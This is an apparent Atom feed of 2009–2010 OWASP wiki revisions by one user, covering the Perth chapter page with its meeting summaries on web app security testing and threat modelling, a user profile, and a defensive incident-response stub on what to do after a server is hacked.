Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
-Updated 18/11/09 by [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=81203</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=81203"/>
				<updated>2010-04-12T02:24:00Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Updated contact information for Christian Frichot&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [http://www.owasp.org/index.php/User:Xntrik Christian Frichot]&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* Timothy Bessant&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Events ==&lt;br /&gt;
&lt;br /&gt;
Watch this space!&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Perth OWASP - Perth AISA Technical Day (Dec 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.owasp.org/index.php/File:AISA_Perth_TSD_2009_Brochure_-Final.pdf Brochure] ====&lt;br /&gt;
&lt;br /&gt;
The local OWASP boys will be whipping out their flux capacitor to fit as much information as they possibly can into a 2 hour jam-packed session on web app security testing. By providing a flyby of the OWASP Testing Guide, David and Christian aim to demonstrate and explain how to detect security vulnerabilities in your own web applications, including: Cross Site Scripting; Injection Flaws; Cross Site Request Forgery and Session Management Flaws.&lt;br /&gt;
&lt;br /&gt;
Demonstrations will utilise a number of open source and freely available tools, including OWASP's own WebScarab. To provide a yoga-like flexibility to the session all materials and testing environments (an Ubuntu wrapped VMware virtual machine) will be provided to attendees, allowing you to either chase us rapidly down the rabbit hole of the OWASP Top 10, or to take your own time after the session...&lt;br /&gt;
&lt;br /&gt;
The perfect way to spend a lazy Sunday afternoon.&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
-Updated 18/11/09 by [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Xntrik&amp;diff=81202</id>
		<title>User:Xntrik</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Xntrik&amp;diff=81202"/>
				<updated>2010-04-12T02:21:09Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Christian Frichot&lt;br /&gt;
&lt;br /&gt;
One of the [[Perth_Australia]] OWASP chapter leads.&lt;br /&gt;
&lt;br /&gt;
To learn more about me you can check out http://un-excogitate.org or reach me on http://twitter.com/xntrik&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Xntrik&amp;diff=81201</id>
		<title>User:Xntrik</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Xntrik&amp;diff=81201"/>
				<updated>2010-04-12T02:20:49Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Christian Frichot&lt;br /&gt;
&lt;br /&gt;
One of the [[Perth_Australia]] OWASP chapter leads.&lt;br /&gt;
&lt;br /&gt;
To learn more about me you can check out http://un-excogitate.org or reach me on twitter.com/xntrik&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=80766</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=80766"/>
				<updated>2010-03-31T01:19:50Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Removed Tim's email&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
* Timothy Bessant&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Events ==&lt;br /&gt;
&lt;br /&gt;
Watch this space!&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Perth OWASP - Perth AISA Technical Day (Dec 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.owasp.org/index.php/File:AISA_Perth_TSD_2009_Brochure_-Final.pdf Brochure] ====&lt;br /&gt;
&lt;br /&gt;
The local OWASP boys will be whipping out their flux capacitor to fit as much information as they possibly can into a 2 hour jam-packed session on web app security testing. By providing a flyby of the OWASP Testing Guide, David and Christian aim to demonstrate and explain how to detect security vulnerabilities in your own web applications, including: Cross Site Scripting; Injection Flaws; Cross Site Request Forgery and Session Management Flaws.&lt;br /&gt;
&lt;br /&gt;
Demonstrations will utilise a number of open source and freely available tools, including OWASP's own WebScarab. To provide a yoga-like flexibility to the session all materials and testing environments (an Ubuntu wrapped VMware virtual machine) will be provided to attendees, allowing you to either chase us rapidly down the rabbit hole of the OWASP Top 10, or to take your own time after the session...&lt;br /&gt;
&lt;br /&gt;
The perfect way to spend a lazy Sunday afternoon.&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
-Updated 18/11/09 by [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Xntrik&amp;diff=80714</id>
		<title>User:Xntrik</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Xntrik&amp;diff=80714"/>
				<updated>2010-03-30T05:18:52Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Christian Frichot&lt;br /&gt;
&lt;br /&gt;
One of the [[Perth_Australia]] OWASP chapter leads.&lt;br /&gt;
&lt;br /&gt;
To learn more about me you can check out http://un-excogitate.org&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=I%27ve_Been_Hacked-What_Now&amp;diff=75771</id>
		<title>I've Been Hacked-What Now</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=I%27ve_Been_Hacked-What_Now&amp;diff=75771"/>
				<updated>2010-01-06T12:28:53Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: /* External Resources */  - added APWG Phishing Education Landing Page resource&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Stub}}&lt;br /&gt;
=My server has been hacked...what do I do now?=&lt;br /&gt;
&lt;br /&gt;
This page will offer suggestions and resources for identifying and eliminating threats to your web servers/applications after a suspected attack. &lt;br /&gt;
&lt;br /&gt;
Anyone interested in contributing is welcome.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Identification==&lt;br /&gt;
&lt;br /&gt;
Basic principles:&lt;br /&gt;
&lt;br /&gt;
* Incident identification/notification may occur from a number of information sources (events):&lt;br /&gt;
** Staff reporting unusual activity&lt;br /&gt;
** Staff, clients or public reporting a problem&lt;br /&gt;
** Technical teams/support discovering evidence of an incident on systems.&lt;br /&gt;
** Alerts from IDS, security monitoring systems or anti-virus software, Firewalls or WAFS.&lt;br /&gt;
&lt;br /&gt;
* Roles:&lt;br /&gt;
** A Security incident owner must be assigned.&lt;br /&gt;
** A point of contact must be available to respond to incidents at all times.&lt;br /&gt;
** A security incident owner must track the security incident to remediation and resolution.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Examples of an incident:&lt;br /&gt;
** Virus/malware infection&lt;br /&gt;
** Unauthorized system changes&lt;br /&gt;
** Unauthorized application/web site changes&lt;br /&gt;
** Unauthorized disclosure of client information or information leakage&lt;br /&gt;
** Theft or loss of company information/assets&lt;br /&gt;
&lt;br /&gt;
* Examples of an event:&lt;br /&gt;
** Reports from intrusion detection system/WAF/Firewall or log scraping system&lt;br /&gt;
** Reports from vulnerability scanning/traffic monitoring/performance monitoring&lt;br /&gt;
&lt;br /&gt;
==Assessment==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Incident severity :&lt;br /&gt;
&lt;br /&gt;
Risk Rating&lt;br /&gt;
&lt;br /&gt;
* '''Low''': &lt;br /&gt;
** Events that cannot be 100% identified as attacks and have no effect on operations; &lt;br /&gt;
** False activation of intrusion detection systems, WAF alerts etc&lt;br /&gt;
** Non-repeated scans or probing from an external uncontrolled network&lt;br /&gt;
&lt;br /&gt;
* '''Medium'''&lt;br /&gt;
** Incidents that have no negative impact on operations. Incidents identified but unsuccessful in an attempt to actively breach information security controls from external or internal standpoint&lt;br /&gt;
** Repeated active probing or parameter manipulation from an external or internal source.&lt;br /&gt;
** Malware/rogue code/virus that has been successfully contained or removed&lt;br /&gt;
&lt;br /&gt;
* '''High'''&lt;br /&gt;
** Incidents that have major impact to operations or corporate branding&lt;br /&gt;
** Evidence of insider threat with identified motivation by salaried employees or contractors&lt;br /&gt;
&lt;br /&gt;
== Containment  ==&lt;br /&gt;
&lt;br /&gt;
Containment should be broken into proactive and reactive methods. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Proactive Methods  ===&lt;br /&gt;
&lt;br /&gt;
These are methods to be used in anticipation of a Web Application server compromise. Web applications have, by comparison to other server types, a much larger attack surface. This is typically because of the fact that by nature they are meant to be internet accessible and require anonymous access in order to be functional. Part of being proactive is segmentation of functions. Your web server should be separate from your application server and separate from your database server. Each tier should be divided by firewalls that only allow the necessary protocols and ports between each tier. In addition, accounts used to communicate between tiers of your web application (WA) should be implemented using the least-privelege method [http://en.wikipedia.org/wiki/Principle_of_least_privilege &amp;lt;sup&amp;gt;1&amp;lt;/sup&amp;gt;]. &lt;br /&gt;
&lt;br /&gt;
Additional notes: &lt;br /&gt;
&lt;br /&gt;
*All tiers of the WA should be behind firewalls with egress filtering enabled. &lt;br /&gt;
*Your web server should never speak directly to your database server. &lt;br /&gt;
*All communications should be filtered by a reverse proxy when possible. &lt;br /&gt;
*No communications should be allowed between the DMZ segments and the internal company network. &lt;br /&gt;
*If database information is required to be passed into your internal network, do so in scheduled DTS packages that are strickly filtered and scrutinized by internal systems &lt;br /&gt;
*Assume all data in the DMZ is compromised. Treat as such on each tier. The database server should not blindly trust input from other tiers.&lt;br /&gt;
*Use paramerized stored procedures to interact with the database&lt;br /&gt;
&lt;br /&gt;
=== Reactive Methods  ===&lt;br /&gt;
&lt;br /&gt;
Assuming your proactive methods are in place, you simply need to identify the point of entry, restore the server and applications and close the vulnerability that led to the compromise. &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
In a scenario where your WA is not properly segmented, you'll need to identify the system where the entry point exists and isolate that system. This is typically the point that some rudamentery forensics is required in order to determine the scope of the breach, time exposed, and other details. This is discussed in more detail in the forensics section. &lt;br /&gt;
&lt;br /&gt;
Depending on your research, you may find that attempts were made to expand the level of the breach. In this case, you'll need to quickly determine an area of effect. This type of &amp;quot;hacking triage&amp;quot; can be performed by analyzing paths in the network that the attacker most likely took. This can be difficult depending on the network design. The best point to make this evaluation is at the egress point of the network. If out-bound web traffic is proxied, then proxy logs would be a great place to start. Egress firewall logs, IDS logs, and any other type of outbound traffic analysis will provide the most detail. This should provide you a list of compromised machines that you can address quickly. &lt;br /&gt;
&lt;br /&gt;
This is also the point where you, your legal team, and your organizations leadership will need to make a few critical decisions: &lt;br /&gt;
&lt;br /&gt;
*Does this breach require customer/FED notification (typically when it involves regulated data such as PII) &lt;br /&gt;
*Do you want to pursue legal prosecution of the attacker? If so, evidence collection should be the next priority above containing the breach. &lt;br /&gt;
*Put your hands on your recovery plan, and make sure anything required within is accessible&lt;br /&gt;
&lt;br /&gt;
== Evidence Collection ==&lt;br /&gt;
&lt;br /&gt;
What evidence you collect will be largely determined by your goal in collecting evidence in the first place. There are two primary reasons for collective evidence:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Evidence for Incident Analysis ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Evidence for Prosecution ===&lt;br /&gt;
&lt;br /&gt;
==Forensic Analysis==&lt;br /&gt;
==Investigation==&lt;br /&gt;
==Incident Follow-up==&lt;br /&gt;
==Lessons Learned==&lt;br /&gt;
==Event Correlation and Aggregation (Streamlining)==&lt;br /&gt;
&lt;br /&gt;
==External Resources==&lt;br /&gt;
* [http://www.zeltser.com/network-os-security/security-incident-survey-cheat-sheet.pdf Cheat Sheet for Server Admin.]&lt;br /&gt;
* [http://www.ucl.ac.uk/cert/win_intrusion.pdf Checking Microsoft Windows® Systems for Signs of Compromise]&lt;br /&gt;
* [http://www.zeltser.com/network-os-security/security-incident-questionnaire-cheat-sheet.pdf SECURITY INCIDENT QUESTIONNAIRE FOR RESPONDERS]&lt;br /&gt;
* [http://sans.org/resources/winsacheatsheet.pdf SAN's SysAdmin Cheat Sheet]&lt;br /&gt;
* http://usa.visa.com/download/merchants/cisp_what_to_do_if_compromised.pdf&lt;br /&gt;
* http://usa.visa.com/download/merchants/cisp_responding_to_a_data_breach.pdf&lt;br /&gt;
* [http://www.antiphishing.org/reports/APWG_CMU_Landing_Pages_Project.pdf Anti Phishing Working Group / Carnegie Mellon University - Phishing Education Landing Page Project]&lt;br /&gt;
&lt;br /&gt;
==Questions to Ask==&lt;br /&gt;
* Was card data compromised?  &lt;br /&gt;
* Do you need professional legal advice?&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=75634</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=75634"/>
				<updated>2010-01-02T06:56:42Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Updated the previous meetings section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
* [mailto:timothy.bessant@alphawest.com.au Timothy Bessant]&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Events ==&lt;br /&gt;
&lt;br /&gt;
Watch this space!&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Perth OWASP - Perth AISA Technical Day (Dec 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.owasp.org/index.php/File:AISA_Perth_TSD_2009_Brochure_-Final.pdf Brochure] ====&lt;br /&gt;
&lt;br /&gt;
The local OWASP boys will be whipping out their flux capacitor to fit as much information as they possibly can into a 2 hour jam-packed session on web app security testing. By providing a flyby of the OWASP Testing Guide, David and Christian aim to demonstrate and explain how to detect security vulnerabilities in your own web applications, including: Cross Site Scripting; Injection Flaws; Cross Site Request Forgery and Session Management Flaws.&lt;br /&gt;
&lt;br /&gt;
Demonstrations will utilise a number of open source and freely available tools, including OWASP's own WebScarab. To provide a yoga-like flexibility to the session all materials and testing environments (an Ubuntu wrapped VMware virtual machine) will be provided to attendees, allowing you to either chase us rapidly down the rabbit hole of the OWASP Top 10, or to take your own time after the session...&lt;br /&gt;
&lt;br /&gt;
The perfect way to spend a lazy Sunday afternoon.&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
-Updated 18/11/09 by [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=73742</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=73742"/>
				<updated>2009-11-20T01:12:31Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Updated with link to Brochure&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [mailto:joshua@qwek.com Joshua Qwek]&lt;br /&gt;
* [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
* [mailto:timothy.bessant@alphawest.com.au Timothy Bessant]&lt;br /&gt;
* [mailto:david.taylor@bankwest.com.au David Taylor]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming OWASP Events ==&lt;br /&gt;
&lt;br /&gt;
=== Perth OWASP - Perth AISA Technical Day ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.owasp.org/index.php/File:AISA_Perth_TSD_2009_Brochure_-Final.pdf Brochure] ====&lt;br /&gt;
&lt;br /&gt;
The local OWASP boys will be whipping out their flux capacitor to fit as much information as they possibly can into a 2 hour jam-packed session on web app security testing. By providing a flyby of the OWASP Testing Guide, David and Christian aim to demonstrate and explain how to detect security vulnerabilities in your own web applications, including: Cross Site Scripting; Injection Flaws; Cross Site Request Forgery and Session Management Flaws.&lt;br /&gt;
&lt;br /&gt;
Demonstrations will utilise a number of open source and freely available tools, including OWASP's own WebScarab. To provide a yoga-like flexibility to the session all materials and testing environments (an Ubuntu wrapped VMware virtual machine) will be provided to attendees, allowing you to either chase us rapidly down the rabbit hole of the OWASP Top 10, or to take your own time after the session...&lt;br /&gt;
&lt;br /&gt;
The perfect way to spend a lazy Sunday afternoon.&lt;br /&gt;
&lt;br /&gt;
==== Details ====&lt;br /&gt;
&lt;br /&gt;
 '''Date: Friday 4th December, 2009'''&lt;br /&gt;
 '''Time: From 9.15am until 4.30pm (if you stay for the entire day)'''&lt;br /&gt;
 '''Location: [http://maps.google.com.au/maps?f=q&amp;amp;source=s_q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=2+Bradford+Street,+Mount+Lawley,+WA+6050&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=2+Bradford+St,+Mt+Lawley+WA+6050&amp;amp;z=16 Edith Cowan University, 2 Bradford Street, Mount Lawley, WA 6050]'''&lt;br /&gt;
 '''Registration: [http://eventarc.com/view/95/inagrual-aisa-perth-technical-security-day here]'''&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
-Updated 18/11/09 by [mailto:xntrik@gmail.com Christian Frichot]&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=File:AISA_Perth_TSD_2009_Brochure_-Final.pdf&amp;diff=73741</id>
		<title>File:AISA Perth TSD 2009 Brochure -Final.pdf</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=File:AISA_Perth_TSD_2009_Brochure_-Final.pdf&amp;diff=73741"/>
				<updated>2009-11-20T01:10:38Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=73662</id>
		<title>Perth Australia</title>
